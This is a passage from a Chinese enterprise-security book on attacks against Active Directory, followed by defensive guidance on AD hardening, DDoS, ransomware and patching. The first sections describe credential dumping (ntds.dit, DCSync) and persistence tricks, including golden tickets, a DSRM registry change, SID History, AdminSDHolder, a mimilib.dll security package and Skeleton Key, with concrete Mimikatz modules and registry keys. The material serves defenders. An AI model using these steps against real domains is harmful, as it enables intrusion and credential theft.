Mimikatz抓取HASH(lsadump::lsa/patch),或者利用DCSync远程转储(lsadump::dcsync)。还有一些办法 是直接导出ntds.dit,因为这个文件即是AD数据库文件,该文件由三个主表组成—数据表、链接表和SD 表,具体见微软官方网站的介绍[1]。 如何导出ntds.dit,一般有ntdsutil导出、利用Volume Shadow Copy导出等方法,笔者通过系统自带的 ntdsutil导出效果如图17-14所示。 图17-14 导出ntds库文件 导出域数据库后,用DSInternal脚本导出用户哈希,如图17-15所示。 图17-15 利用ntds库文件导出所有用户HASH 导出的HASH可以直接利用Mimikatz进行PTH攻击,如图17-16所示。 图17-16 PTH攻击实例 除了直接在域控上导出ntds.dit外,还有一些方法可以获得ntds.dit,例如备份共享、准备配置成域控 的服务器、虚拟化平台等。 [1] 链接:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server- 2003/cc772829(v=ws.10) 17.3 维持权限的各种方式 攻击者拿到活动目录权限后,会想各种方法维持已有权限,包括常见的种下木马后门和利用AD的特 性,如krbtgt账号、DSRM账号、SID History、AdminSDHolder等。 17.3.1 krbtgt账号与黄金票据 在介绍Kerberos协议时我们提到,TGT是由KDC的密钥生成的,其实域中每个用户的票据都是由 krbtgt的密码Hash来计算生成的,因此只要黑客拿到了krbtgt的密码Hash,就可以随意伪造票据,进而使 用票据登录域控制器。使用krbtgt用户hash生成的票据被称为黄金票据(Golden Ticket),此类攻击方法 被称为票据传递(PTT)攻击。 黄金票据的原理是,通过伪造TGT,没有与KDC进行AS-REQ、AS-REP通信,直接进行TGS-REQ, 向KDC进行请求以获得票据,其工作原理图如图17-17所示。 安全策略一般会要求域内的普通账号定期进行修改,或者域管理员发现入侵行为而修改了所有管理 员密码,但往往会忽视krbtgt这个账号。这时候,攻击者利用原先导出的krbtgt的HASH生成黄金票据,导 入系统缓存便可以继续控制活动目录。利用Mimikatz的kerberos::golden功能将krbtgt的HASH导入并生成票 据,如图17-18所示。 图17-17 黄金票据工作原理 图17-18 生成黄金票据 利用此票据即可访问域控上的文件。 还可以利用DCSync功能远程导出其他用户哈希,图17-19为笔者在域内主机上导出test2账号的 HASH。 17.3.2 服务账号与白银票据 白银票据(Silver Tickets)是伪造Kerberos票据授予服务(TGS)的票据,也称服务票据,这中间与 域控制器没有通信,即没有AS-REQ、AS-REP、TGS-REQ、TGS-REP过程,所以只在应用服务端才会有 相应日志,白银票据工作原理如图17-20所示。 图17-19 导出其他用户哈希 图17-20 白银票据工作原理 通常服务账号也不会修改,所以只要导出服务账号的HASH,就能利用此HASH生成白银票据,利用 方法与黄金票据类似,不再赘述。与黄金票据不同的是,白银票据是伪造TGS,这意味着该票据仅限于 特定服务器上的服务使用。 17.3.3 利用DSRM账号 除了krbtgt、服务账号之外,域控上还有一个目录服务还原模式(DSRM)账户,其密码在DC安装的 时候就需要进行设置,所以一般不会被修改。微软对DSRM账号进行了限制,只允许在控制台登录。通过 对DSRM的研究人们发现,DSRM其实是一个可用的本地管理员账号,而且修改了如下注册表键值: HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior 将DSRMAdminLogonBehavior改为2,就可以通过网络验证并登录到DC。有了这一点,就可以利用导 出的HASH结合PTH方式,持续控制DC,即使域内用户密码都进行了修改。 建议定期修改每台域控的DSRM账号,并且是唯一的,同时需要对DSRMAdmin-LogonBehavior注册 表键值进行监控。 17.3.4 利用SID History属性 每个用户账号都有一个关联的安全标识符(SID),这个SID用于跟踪安全主体在访问资源时的账户 与访问权限,例如,系统默认管理员SID值为500,不管怎么改名这个SID也不会变。 为了支持AD迁移,微软设计了SID-History属性,SID History允许一个账户的访问被有效地克隆到另 一个账户。这是非常有用的,其目的是确保用户在从一个域移动(迁移)到另一个域时能保留原有的访 问权限。当DomainA中的用户迁移到DomainB时,会在DomainB中创建一个新的用户账户,DomainA用户 的SID将添加到DomainB用户账户的SID历史属性中。这将确保DomainB用户仍然可以访问DomainA中的 资源[1]。 攻击者们发现,SID History可以在同一个域中工作,即DomainA中的常规用户账户可以包含DomainA SID,假如这个DomainA SID是一个特权账户或组,那就可以在不作为域管理员成员的情况下授予常规用 户域管理员权限,相当于一个后门。Mimikatz提供了misc::addsid的功能,在2.1版本以后需要使用SID模 块,图17-21为给test1账号添加SID History,注意最后的数字,我们知道500是默认本地管理员,512则是 Domain Admins,这里我们以512为例演示。 图17-21 给test1账户添加SID History 成功后,test1下次登录时就可以以管理员的方式登录到域控了,如图17-22所示。 相应的策略是监控4738事件,已更改的属性中会列出SID历史,如图17-23所示。 也可以定期检查SID History的异常账号,如图17-24所示。 图17-22 利用SID History特性访问域控 [1] 更多关于 SID History 的信息,请访问微软官网:https://docs.microsoft.com/en-us/previous- versions/windows/it-pro/windows-server-2003/cc779590(v=ws.10)。 17.3.5 利用组策略 组策略可以方便地对AD中计算机和用户进行管理,组策略保存为组策略对象(GPO),然后与AD 对象(如站点、DC或OU)进行关联。组策略可以包括安全选项、注册表项、软件安装以及启动和关闭脚 本等,域成员默认情况下每隔90分钟刷新一次组策略设置(域控制器为5分钟)。这意味着组策略会强制 在目标计算机上配置相关的设置。如果黑客拿到了域管权限,也可以通过修改组策略来控制域内的计算 机和用户,例如,执行登录脚本,创建计划任务,部署安装恶意软件等。即使使用了LAPS方案来保证每 台计算机本地管理员密码不一致,拿到域控权限的黑客也可以通过在组策略里配置脚本,自动收集所有 计算机本地管理员账号LAPS密码。 图17-23 SID History相关事件 图17-24 SID History检查 还有一个需要注意的是SYSVOL目录的权限,默认域内认证用户只读,如果SYSVOL目录或下面的子 目录权限被攻击者故意修改为特定用户可写,会发生什么事情呢?我们知道组策略包括两个组件:一个 是组策略容器,它存储在AD中;另一个是组策略模板,它存储在SYSVOL中,需要两者相结合这个组策 略才能生效。也就是说,如果在SYSVOL中写入一个脚本,但没有在组策略中引用是不会造成危害的。 但是如果修改一个引用的脚本,在其中引入一些其他功能,例如添加恶意用户、导出用户HASH等,是非 常危险的。 AD内默认有两个组策略:一个是针对全局的Default Domain Policy;另一个是针对DC的Default Domain Controllers Policy,其UUID都是固定的,也就是说在SYSVOL目录是固定的文件夹。一些脚本考 虑到通用性会修改这两目录的权限,需要特别注意。 17.3.6 利用AdminSDHolder 每个活动目录域中都有一个AdminSDHolder对象,它位于域的System容器中。设置AdminSDHolder的 目的是防止特权用户和重要的组被无意地修改。引入这样的机制之后,那些Protected groups和它们的成员 都得到了更进一步的安全保护[1]。通过修改Admin-SDHolder属性,将一个普通用户添加到“安全”选项卡 里,并赋予其所有权限或者修改权限,如图17-25所示。 图17-25 向AdminSDHolder属性中添加账户 注意: AD用户和计算机管理工具默认不显示System等对象及相关账号的“安全”选项,需要点击“查看”—“高 级功能”或者右键“查看”—“高级功能”。 添加完成后,等60分钟自动生效,或者手工触发SDProp使其立即生效,如图17-26所示。 图17-26 手工触发SDProp 注意: 要以管理员权限启用ldp.exe进程,否则会失败。 这时候我们可以看到Domain Admins属性中“安全”选项卡里已经有上面添加的test1账号了,如图17-27 所示。 这样我们就可以在普通主机上远程管理AD的权限了,例如,将test2加入到Enter-prise Admins组,如 图17-28所示。 注意: Windows 7或Windows10默认没有AD管理工具,需要额外安装补丁文件,然后在系统里添加AD DS功 能。 [1] 更多关于 AdminSDHolder 的介绍,请参考微软官方博客: https://blogs.technet.microsoft.com/apgceps/2011/10/09/adminsdholder/。 17.3.7 利用SSP SSPI(Security Support Provider Interface)是Windows系统在执行认证操作时所使用的API,而 SSP(Security Support Provider)可以理解为一个DLL,用来实现诸如NTML、Kerberos、Negotiate、 Credential等身份认证。在系统启动的时候SSP会被加载到lsass.exe进程,基于LSA本身的可扩展特性,如 果自定义一个恶意的DLL也会在系统启动的时候被加载到lsass.exe。 图17-27 Domain Admins属性图 图17-28 利用AdminSDHolder特性修改组成员 Mimikatz里就带有一个mimilib.dll的文件,将这个文件拷贝到系统system32目录,并修改如下注册表 项: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages 将mimilib.dll加入到Security Packages值的最下面,然后重启域服务器即可生效,它会将记录到的用户 密码保存到特定的文件中,如图17-29所示。 图17-29 利用SSP获取管理员密码 试想,如果将密码文件写到SYSVOL共享目录某个文件里,是不是就可以长久控制域服务器? 17.3.8 利用Skeleton Key SSP后门需要重启才能生效,神器Mimikatz提供了Skeleton Key功能,即在域控上执行misc::skeleton 后,正常的用户都可以用万能密码正常登录,其利用如图17-30所示。 图17-30 利用Skeleton Key 执行后,在普通域内主机上测试,发现可以用Mimikatz这个万能密码登录,但权限还是原来用户的 权限,如图17-31所示。 图17-31 Skeleton Key登录效果 根据图17-31,不需要利用HASH进行PTH访问,直接用Mimikatz这个万能密码便可登录任何人的计算 机。 17.3.9 利用PasswordChangeNofity SSP与Skeleton Key都需要用到Mimikatz,黑客又研究出一种新的方法,即通过Hook PasswordChangeNotify拦截修改的账号密码。当修改域控密码时,LSA会先调用PasswordFilter判断新密码 是否符合复杂度要求,如果符合则调用PasswordChangeNotify在系统上同步更新密码。如果将Hook PasswordChangeNofity的恶意代码注入LSA进程,当有密码修改时即可进行记录[1]。 如果将以上代码加入更多功能,例如,将密码保存在普通用户可访问的SYSVOL目录,或者将密码 通过HTTP或DNS外发等,则会更加危险。 [1] 具体可以参考:https://github.com/clymb3r/Misc-Windows-Hacking。 17.4 安全解决方案 如何防范攻击者,使其无法控制第一台机器,在本书内网安全(第13章)以及邮件安全(第16章) 的讨论中有所涉及,不再赘述。这里我们假设黑客已经控制了一台机器,我们再来看我们的解决方案, 重中之重是域管理员权限的管控。 17.4.1 活动目录整体架构及相关规范 大型企业里,一般都会建立较多的子域,我们建议的架构如图17-32所示。 图17-32 AD整体架构 包括总部在内的所有分支机构,都是一个根域的子域,根域基本上是空的,不对用户直接提供服 务,再结合子域之间的信任关系控制。这样的设计可以解决一个问题,假设一个AD管理员的账号密码被 别有用心之人获得,也只能影响一个域,无法影响整个企业所有域。 活动目录相关规范介绍如下。 1.物理安全方面 ·AD管理员应重视域控制器物理安全,采取必要措施保护存有AD数据库或备份的磁盘、磁带,特别 是位于较低安全等级机房的域控制器。 ·对于以物理机形式运行的域控制器,应使用本地存储和硬件RAID。故障硬盘在交予外部组织前必须 进行消磁。 ·对于以虚拟机形式运行的域控制器,应注意对虚拟磁盘文件、虚拟机备份文件的保护。建议启用 BitLocker对域控制器系统分区进行加密保护。 2.网络与操作安全方面 ·除转发DNS查询外,禁止域控制器访问互联网。 ·AD管理员禁止在域控制器上使用浏览器访问互联网。 ·DC服务器建议升级至Windows Server 2016,AD管理员所用电脑建议升级至Win-dows 10,并做好补 丁管理工作。 ·严禁使用个人电脑直接远程桌面访问域控制器,建议通过堡垒机、KVM、控制台等方式进行运维。 ·不应在域控制器上安装和运行同域控制器功能无关或未经验证的软件。 ·域控制器的目录服务还原模式(DSRM)管理员密码,需要妥善保管,建议每年度使用NTDSUTIL 工具(set dsrm password)进行一次重置。 3.AD管理员账户方面 ·AD管理员账户只能由被授权的管理员使用,使用者需对其账户使用的合规性负责,并应采取必要措 施避免账户密码泄露。 ·AD管理员只能使用分配的管理员账户进行AD管理工作,不允许多个AD管理员共用同一账户。 ·AD管理员不能将分配的AD管理员账户作为个人日常工作账户使用,不能将个人日常工作账户提升 为AD管理员账户。 ·AD管理员账户只允许在域控制器上登录。 ·未经审批,禁止在域控制器之外的计算机上使用AD管理员账户登录。 ·AD管理员账户命名要符合规范,例如XXADAdminYY,XX为分支机构,YY为编号,主要是为了方 便管理与辨识。 ·对一些容易引起问题的账号进行专门处理,包括加域操作、域控制器备份操作、安全日志归档压缩 计划、域内机器安装软件授权等,都需要建立专用账号,避免以域管理员身份在终端机器上执行相关操 作。 ·有条件的企业,建议对域管理员账号启用双因素认证,例如,结合硬件加密狗使用,这样就可以有 效避免域管理员账号密码与其他人混用。 4.安全审核方面 对域控制器应配置如表17-1所示的高级审核策略,高级审核策略建议在AD域或Default Domain Controllers组织单位级别配置。 表17-1 域控制器高级审核策略配置 注:“DS访问”和“对象访问”可根据需要开启,但建议及时关闭,避免记录过多安全日志事件导致日 志空间耗尽。 域控制器安全日志大小应设置为200MB以上,建议不超过500MB,并进行安全日志归档设置。配置 安全日志属性,启用“日志满时将其存档,不覆盖事件”。生成的安全日志归档文件默认位 于%Systemroot%\System32\winevt\logs目录。应及时对日志归档文件压缩并保存在系统分区之外,避免归 档文件耗尽系统分区磁盘空间。安全日志归档文件应保留至少12个月。未经归档备份,不应清除安全日 志。 ·AD管理员应对域控制器上的安全日志进行定期抽查,检查内容包括: ·安全日志事件是否连续,是否有缺失,是否有安全日志清除事件。 ·“账户管理”和“策略更改”事件,确认是否为授权操作。 ·AD管理员账户的登录事件,确认是否为授权登录。 重要安全事件ID如见表17-2。 表17-2 重要安全事件ID 最后一点,所有域控需要安装SOC客户端,将系统上的安全日志转发到SOC进行分析处理。 17.4.2 技术体系运营 所有的要求、规范能否落地执行,需要有相应的技术手段去支撑,结合笔者经验,在聚焦域控管理 员账号这件事上,需要做以下几个方面的工作。 1.违规登录报警 我们规定了域控管理员不允许在其他地方登录,一旦登录就需要报警,一方面是出于合规考量,另 一方面是监控管理员账号失陷。这里涉及需要精准掌握所有域管理员的账号,大企业靠各分支机构上 报,难免不准而且实时性不够。 通过开发脚本自动获取账号信息可以解决这个问题,思路如下。 1)获取所有域控清单,主要技术点如下: dsquery.exe * forestroot -attr "cn" "distinguishedName" "dNSHostName" "whenCreated" "whenChanged"-filter"(&(objectclass=se 将得到的dNSHostName逐个解析,获得对应IP列表,供后面使用; 2)获取所有域上的管理员账号,主要技术点如下: dsquery.exe * -attr "sAMAccountName" "sAMAccountType" "userPrincipalName" "userAccountControl" "objectCategory" "member" " 在AD中管理员涉及的组包括企业管理员组(Enterprise Admins,EA)、域管理员组(Domain Admins,DA)、域内建管理员组(Built-in Administrators,BA),所有的组的前提是Administrators组, 利用S-1-5-32-544这个SID特征去遍历即可获取所有管理员账号。 3)在SOC上定制相应的CASE监控登录,当有触发528或4624事件,登录用户是管理员列表中的,来 源是非堡垒机之外的IP,都需要进行报警。 这样,有域管理员账号登录事件就会经过CASE的条件关联分析,不符合的会通过高危事件报上来进 行调查处置。 2.有效性验证 域控的安全审核策略配置可能存在问题,这会导致无日志和日志不全,仅靠人工检查、沟通协调、 整改等成本较高。 技术手段上可以通过开发脚本扫描所有域控,触发验证日志和验证事件,图形化展示,每日Review 报表即可轻松发现问题。Nmap扫描器提供了大量插件脚本,smb-brute.nse是一个针对SMB暴力猜解的脚 本,我们构造相应的用户密码字典对所有域控跑一遍即可产生相应的事件。在SOC上制订针对性的验证 CASE,结合图形化展示可以清楚地知道哪个域控触发了事件,哪个域控没触发事件。同样类似的还有 ldap-brute.nse脚本,不再赘述。 3.其他注意事项 AD的日志量非常大,由于配置不当或者网络原因,会导致日志延迟或丢失问题,也需要有相应的一 致性比对和可用性监控脚本,统一展示对比结果和可用性情况。由于这个问题不是AD场景独有,不再赘 述。 最后一点与技术无关,针对域控各种不合规进行整改,安排专人跟进,这样效果会比较好。 4.一些其他思路 除了监测相应的安全事件之外,还有一些其他的思路,包括针对Mimikatz的检测、PowerShell的审计 与监控等。前面笔者在内网安全(第13章)中介绍的异常访问监测系统,也能在这里发挥作用:一是可 以监测到不同子域之间的访问,正常情况下,不同子域之间的访问应该很少;二是可以对一些正常的访 问做频率监测,正常的请求频率不会太多,如果监测到高频率请求就是有问题的,需要跟进。 在内网安全(第13章)中我们还介绍了一些蜜罐技术,其实也可以用在这里,例如,网上就有介绍 如何利用一个假的SPN来检测Kerberoast攻击的文章[1]。 [1] 链接:https://adsecurity.org/?p=3513。 17.4.3 外围平台安全 在实际工作过程中,还需要关注一些外围的安全,例如,AD所在虚拟平台上的安全、AD数据备份 相关的安全、AD集成身份认证安全等。前面我们讲过ntds.dit文件可能不仅出现在域控上,就是这个意 思。 1.虚拟化平台 很多企业将域控服务器部署在虚拟化平台上,一旦虚拟化平台被攻陷,所有域账号都可能被盗取, 风险非常大。图17-33是笔者所在团队某次真实渗透测试中发现的外围机器上的一个脚本,里面包含了虚 拟化平台的账号密码。 图17-33 虚拟化平台边缘问题 利用上面的密码就可以直接登录到vCenter,通过将AD服务器克隆,断开网卡,开机重置密码强行进 入即可拿到AD上所有账号的HASH,利用PTH攻击即能控制域内所有计算机。 相应的安全方案,包括两方面:一是确保虚拟化平台本身的安全,包括平台的版本不存在高危漏 洞,平台上的账号权限管理与敏感操作监控等;二是对AD服务器启用BIOS保护,防止直接挂PE盘进 入,启用BitLocker加密,防止vmdk被人拷贝直接进入系统等。有条件的企业,尽量使用新版的操作系统 (例如Windows Server 2016),增加了一些安全功能,例如哈希加密、Credential Guard、Shielded VM和 虚拟机TPM技术、将密钥保存在虚拟TPM里等。 2.身份认证集成 很多企业都会有一些应用系统需要与AD集成,主要用来做身份认证。有条件的企业,建议通过SSO 系统来对接,各种应用系统对接SSO,而SSO再与AD对接,尽量通过Kerberos协议来实现用户认证,避免 使用LDAP认证。 如果特殊应用(例如C/S)无法走基于Web的SSO系统,而必须使用LDAP方式,建议使用SSL进行加 密,最好是双向认证。 有些与AD集成的系统特别是外购系统,往往是由外部人员负责维护,那里就会存在很大的安全隐 患,因为所有人的账号密码都可能会被这个系统记录而被外部人员掌握,这一点尤其要重点关注。 17.4.4 被渗透后的注意事项 一旦发现域控被渗透,除了夺回权限外,还需要关注黑客可能遗留的后门,例如我们在17.3节里讲到 的各种后门。需要注意的点包括: ·重置krbtgt账号密码。 ·重置DSRM账号密码。 ·重置重要服务账号密码。 ·检查账号SIDHistory属性。 ·检查组策略配置以及SYSVOL目录权限。 ·检查AdminSDHolder相关安全账号。 为了防止各种后门程序或注册表项被修改,建议直接废弃现有DC,新搭一套将数据同步回来。 17.5 小结 本章主要讲解了活动目录常见的安全问题与解决方案,为了便于读者理解常见的攻击手法,笔者对 攻击方式进行了针对性的演示,在防护方案上针对域管理员账号的监控进行了详细说明。 笔者建议当对AD实施了最佳防护方案后,需要将防护的重心由域管理员账号转向重要系统或重要人 物,例如,SSO系统以及和SSO对接的各种系统,组织架构里的重要领导账号等,都需要关注,毕竟黑客 最终目标是数据,而不仅仅是域管理员账号。 第18章 安全热点解决方案 本章主要针对前面章节所涉及的一些要点进行补充,包括DDoS、勒索软件、补丁管理、堡垒机、加 密机、情报与CTF。 18.1 DDoS攻击与对策 DDo(Distributed Denial of Service),即分布式拒绝服务攻击,是指黑客通过控制由多个肉鸡或服务 器组成的僵尸网络,向目标发送大量看似合法的请求,从而占用大量网络资源使网络瘫痪,阻止用户对 网络资源的正常访问。 从各安全厂商的DDoS分析报告不难看出,DDoS攻击的规模及趋势正在成倍增长。由于攻击的成本 不断降低,技术门槛要求越来越低,攻击工具的肆意传播,互联网上随处可见成群的肉鸡,使发动一起 DDoS攻击变得轻而易举。 DDoS攻击技术包括:常见的流量直接攻击(如SYN/ACK/ICMP/UDP FLOOD),利用特定应用或协 议进行反射型的流量攻击(如,NTP/DNS/SSDP反射攻击,2018年2月28日GitHub所遭受的Memcached反 射攻击),基于应用的CC、慢速HTTP等。关于这些攻击技术的原理及利用工具网上有大量的资源,不再 赘述。 18.1.1 DDoS防御常规套路 防御DDoS的常规套路包括:本地设备清洗,运营商清洗,云清洗。 1.本地设备清洗 抗DDoS设备(业内习惯称ADS设备)一般以盒子的形式部署在网络出口处,可串联也可旁路部署。 旁路部署需要在发生攻击时进行流量牵引,其基本部署方案如图18-1所示。 图18-1 ADS 设备部署方式 图18-1中的检测设备对镜像过来的流量进行分析,检测到DDoS攻击后通知清洗设备,清洗设备通过 BGP或OSPF协议将发往被攻击目标主机的流量牵引到清洗设备,然后将清洗后的干净流量通过策略路由 或者MPLS LSP等方式回注到网络中;当检测设备检测到DDoS攻击停止后,会通知清洗设备停止流量牵 引。 将ADS设备部署在本地,企业用户可依靠设备内置的一些防御算法和模型有效抵挡一些小规模的常 见流量攻击,同时结合盒子提供的可定制化策略和服务,方便有一定经验的企业用户对攻击报文进行分 析,定制针对性的防御策略。目前国内市场上,主要以绿盟的黑洞为代表,具体可以访问其官网进一步 了解。 本地清洗最大的问题是当DDoS攻击流量超出企业出口带宽时,即使ADS设备处理性能够,也无法解 决这个问题。一般金融证券等企业用户的出口带宽可能在几百兆到几G,如果遇到十G以上甚至上百G的 流量,就真的麻烦了,更别谈T级别的DDoS攻击了。 2.运营商清洗 当本地设备清洗解决不了流量超过出口带宽的问题时,往往需要借助运营商的能力了,紧急扩容或 者开启清洗服务是一般做法,前提是要采购相应的清洗服务,而且一般需要通过电话或邮件确认,有的 可能还要求传真。 运营商的清洗服务基本是根据netflow抽样检测网络是否存在DDoS攻击,而且策略的颗粒度较粗,因 此针对低流量特征的DDoS攻击类型检测效果往往不够理想。再加上一些流程上的操作如电话、邮件、传 真等,真正攻击到来时处理可能会更慢,需要重点关注。 值得一提的是中国电信的云堤服务,提供了“流量压制”和“近源清洗”服务,而且还提供了自助平台供 用户操作,查看流量、开启清洗也非常方便。 3.云清洗 内容分发网络(Content Delivery Network,CDN)是指,通过在网络各处放置节点服务器,让用户能 够在离自己最近的地方访问服务,以此来提高访问速度和服务质量。CDN主要利用了四大关键技术:内 容路由,内容分发,内存存储,内容管理。更详细的技术原理可以参考中国电信研究院出版的《CDN技 术详解》。 CDN技术的初衷是为了提高互联网用户对静态网站的访问速度,但是由于分布式、就近访问的特 点,能对攻击流量进行稀释,因此,一些传统CDN厂商除了提供云加速功能外,也开始推出云清洗的服 务,当然还有一些安全公司基于其自身优势进入云清洗市场。基本原理都一样,需要先在云端配置好相 应的记录,当企业遭受大规模攻击时,通过修改其DNS记录将要保护的域名CNAME到云端事先配好的记 录上,等待DNS生效即可。 使用云清洗需要注意以下几个问题: ·云清洗厂商需要提前配置好相应记录。 ·DNS修改记录后,需要等待TTL超时才生效。 ·直接针对源IP的攻击,无法使用云清洗防护,还要依靠本地和运营商清冼。 ·针对HTTPS网站的防御,还涉及HTTPS证书,由此带来的数据安全风险需要考虑,市面上也有相应 的Keyless方案[1]。 由于国内环境不支持Anycast技术,所以不再赘述,如果有海外分支机构的网站需要防护,可以关 注。 [1] 其细节可以参考 cloudflare 公司博客上的文章,链接:https://blog.cloudflare.com/keyless-ssl-the-nitty- gritty-technical-details/。 18.1.2 一些经验 结合笔者所在团队的一些经验,对DDoS防护落地做一些补充,仅供参考。 1.自动化平台 金融企业由于高可用要求,往往会有多个数据中心,一个数据中心还会接入多家运营商线路,通过 广域网负载均衡系统对用户的访问进行调度,使之访问到最近最优的资源。当任何一条接入线路存在 DDoS攻击时,能通过广域网负载均衡系统将该线路上的访问需求转移至其他互联网线路。在针对IP地址 开展的DDoS攻击中,此方案能够有效保障正常客户的访问不受影响,为了实现快速切换,需要通过自动 化运维平台来实现,如图18-2所示。 图18-2 线路调整一键应急 配合必要的应知应会学习和应急演练,使团队成员都能快速掌握方法,在事件发生第一时间进行切 换,将影响降到最小。接下来才是通知运营商进行清洗处理,等待流量恢复正常后再进行回切。 当某一个业务的IP受到攻击时,可以针对性地处置,比如一键停用,让正常用户访问其他IP;也可以 一键开启清洗服务。 2.设备抗D能力 除了ADS设备外,还有一些设备也需要关注抗DDoS能力,包括防火墙、负载均衡设备等。 出于安全可控需求,金融企业往往会采用异构模式部署防火墙,比如最外层用产品A,里面可能会用 产品B。假如产品A的抗DDoS能力差,在发生攻击时,可能还没等到ADS设备清洗,产品A已经出问题 了,比如发生了HA切换或者无法再处理新的连接等。 在产品选型测试时,需要关注这方面的能力,结合笔者所在团队经验,有以下几点供参考: ·某些产品在开启日志记录模块后会存在极严重的性能消耗,在可能存在攻击的环境内建议关闭。 ·尽管理论和实际会有偏差,但根据实际测试情况,还是建议当存在大量TCP、UDP新建连接时,防 火墙的最大连接数越大越好。 ·多测试多对比,从对比中可以发现更优的方案,通过适当的调整优化引入更优方案。 ·监控防火墙CPU和连接数,当超过一定值时开始着手优化规则,将访问量多的规则前移、减少规则 数目等都是手段。 负载均衡设备也需要关注以上问题,此外,负载均衡由于承接了应用访问请求分发调度,可以一定 程度上针对性地防护基于IP速率、基于URL速率的DDoS攻击以及慢速攻击等。图18-3所示为F5的ASM的 DDoS防护策略。 图18-3 负载均衡设备ASM防DDoS功能 请求经过防火墙和负载均衡,最后到了目标机器上处理的时候,也需要关注。系统的性能调优设 置、Nginx的性能参数调整以及限制连接模块配置等,都是在实际工作中会涉及的。 3.应急演练 部署好产品,开发好自动化运维平台,还要配合必要的应知应会、应急演练才行。因为金融行业的 特殊性,DDoS攻击发生的次数相比互联网行业还是少很多的,有的企业可能几年也碰不到一次。时间久 了技能就生疏了,真正需要用到时,可能连登录设备的账号口令都忘了,又或者需要现场接线的连设备 都找不到,那就太糟糕了。 此外,采购的外围的监控服务、运营商和云清洗产品的服务能力也需要通过演练来检验有效性。签 订合同时承诺的秒级发现、分钟级响应是否经得起考验,要先在心里打上一个问号。建议在不事先通知 的情况下进行演练,观察这中间的问题并做好记录,待演练完成后一并提交给服务商要求整改。这样的 演练每年要不定期组织几次。 18.2 勒索软件应对 2017年5月12日,一种名为“WannaCrypt”(中文翻译为想哭)的勒索病毒袭击全球150多个国家和地 区,影响领域包括政府部门、医疗服务、公共交通、邮政、通信和汽车制造业。由于影响巨大,微软紧 急发布了防范及修复指南,同时提供了已经不再支持的Windows XP、Windows 2003操作系统的相关补丁 程序。 其实,企业用户几乎每天都在遭受勒索软件攻击。笔者在第16章里介绍的putty.zip其实就是一个勒索 病毒,双击后电脑上的文件就会被加密,并要求在96小时内支付8比特币赎金,否则文件将永久无法打 开[1]。 企业安全人员如何做好有效防御?首先要分析勒索软件的来源及利用途径,然后做好针对性的管 控。根据笔者经验,邮件、上网、U盘是三个主要的来源,我们分别阐述相应的解决思路。 1.邮件 从邮件进来的恶意软件应该是最多的,需要企业在邮件系统安全防护能力上下功夫,具体方法可以 参考第16章中的相关内容。 针对个人用户,建议的方案是不点击陌生人发来的各种链接,不要打开陌生人发来的附件,重要数 据做好日常备份或上传到企业网盘,及时更新系统补丁及防病毒软件的病毒定义包。 2.终端 恶意软件通过邮件、U盘、网页访问下载等途径到了终端,会有各种动作,比如检查杀毒软件进程、 访问外部网络、利用操作系统或应用漏洞等,勒索软件则在这个基础上更多偏向于对终端上的文件进行 加密破坏。 常规的恶意软件,通过防病毒软件及时更新病毒定义就可以解决了;利用操作系统或应用漏洞的, 则需要通过补丁管理来解决;需要利用管理员权限才能生效的程序,通过控制特权账户的使用即可解 决。但总有例外发生,究其原因,是如今攻击方式已经发生了变化,防守方还处在特征签名加上补丁管 理、病毒定义更新的模式,在终端数量众多的情况下,往往会存在执行不到位的问题,综合在一起才有 了所谓的例外,其实并不是例外。相应的解决方案,一方面是做好以上基础工作进行正面防御,还可以 从其他方面进行主动监测和保护。 主动监测,即对终端上程序的行为进行重点监控,包括进程创建、文件操作、网络请求等,再结合 大量终端事件的关联分析与外部情报对接(文件、URL、IP信誉等),可以在一定程度上发现异常。 主动保护,即对终端上的软件行为制定规则,可以简单地理解为Office文档只允许Office软件访问或 修改,当检测到与规则不匹配时进行阻断。除了某些老牌杀毒软件有提供勒索软件防护功能外,目前有 一些数据安全厂商也提供了相应的方案,可以参考。 3.上网 企业出于合规、审计等原因,基本都会部署上网行为审计系统,有的企业还会部署防火墙进行控 制。针对恶意软件可能的网络请求,特别是勒索软件都要请求后端密钥,如果对此过程进行干预,也可 以很大程度上解决问题。 主流的思路包括:URL过滤、网站信誉库、恶意软件过滤等,再结合一些沙箱、情报技术等。有些 恶意软件可能还会涉及偷数据的行为,为了规避会采用一些隐蔽信道的技术,也需要关注。 4.其他 在邮件、终端、上网都部署了相应的解决方案,能有效应对基于文档的勒索软件。但是,恶意软件 技术总是不断在发展变化,有一些是针对移动终端的,安装了某些APP后就会导致手机被锁定;有一些是 通过数据库管理软件实施的,即当数据库管理软件对数据库进行管理时乘机对数据库进行加密。作为安 全从业者,需要时刻保持关注,并结合自己企业进行针对性的部署。 [1] 关于这个病毒,网上已经有相应的分析文章了,链接:http://blogs.360.cn/blog/ctb-locker/。 18.3 补丁管理 在百度百科上,补丁是指衣服、被褥上为遮掩破洞而钉补上的小布块。现在也指对于大型软件系统 (如微软操作系统)在使用过程中暴露的问题(一般由黑客或病毒设计者发现)而发布的解决问题的小 程序。就像衣服破了就要打补丁一样,人编写程序不可能十全十美,所以软件也免不了会出现bug,而补 丁是专门修复这些bug的。因为原来发布的软件存在缺陷,发现之后另外编制一个小程序使其完善,这种 小程序俗称补丁。补丁是由软件的原来作者制作的,可以访问网站下载补丁。 企业内网可能存在名种类型的操作系统,这里我们以常见的Windows和Linux为例进行阐述。 18.3.1 Windows 微软从2003年10月开始引入了著名的“Patch Tuesday”的概念,即把过去一个月内的安全补丁累积起 来,到了下一个月的第二个星期二集中发布,这样可以让系统管理员在固定的时间点来查看有哪些补丁 发布了,并决定是否要安装这些补丁。 微软提供两种安全补丁服务:一种是基于推送的付费服务SCCM;另一种是免费的可自动下载的补丁 下载服务。以使用WSUS的企业为例,企业外网的WSUS指向微软网站,所有Windows更新都集中下载到 内部网的WSUS服务器,而网络中的客户机通过WSUS服务器得到更新。这里有两个前提条件:一是补丁 经过管理员的批准;二是客户机配置了WSUS指向企业内部WSUS服务器。这样的补丁升级方式,在很大 程度上节省了网络资源,并且提高了内部网络中计算机更新的效率。 配置WSUS,网上的教程大都是通过修改注册表的方式来实现,如果企业部署了活动目录,可以使用 组策略功能进行统一配置,图18-4所示是在某台加入域的终端上看到的WSUS配置。 图18-4 WSUS配置效果 补丁管理的难点不在于技术上的配置,更多的是如何将其落地,笔者有以下建议: 1)补丁在允许更新前的测试、验证工作需要谨慎,以防出现诸如蓝屏、进程崩溃、与现有常用软件 冲突等问题。 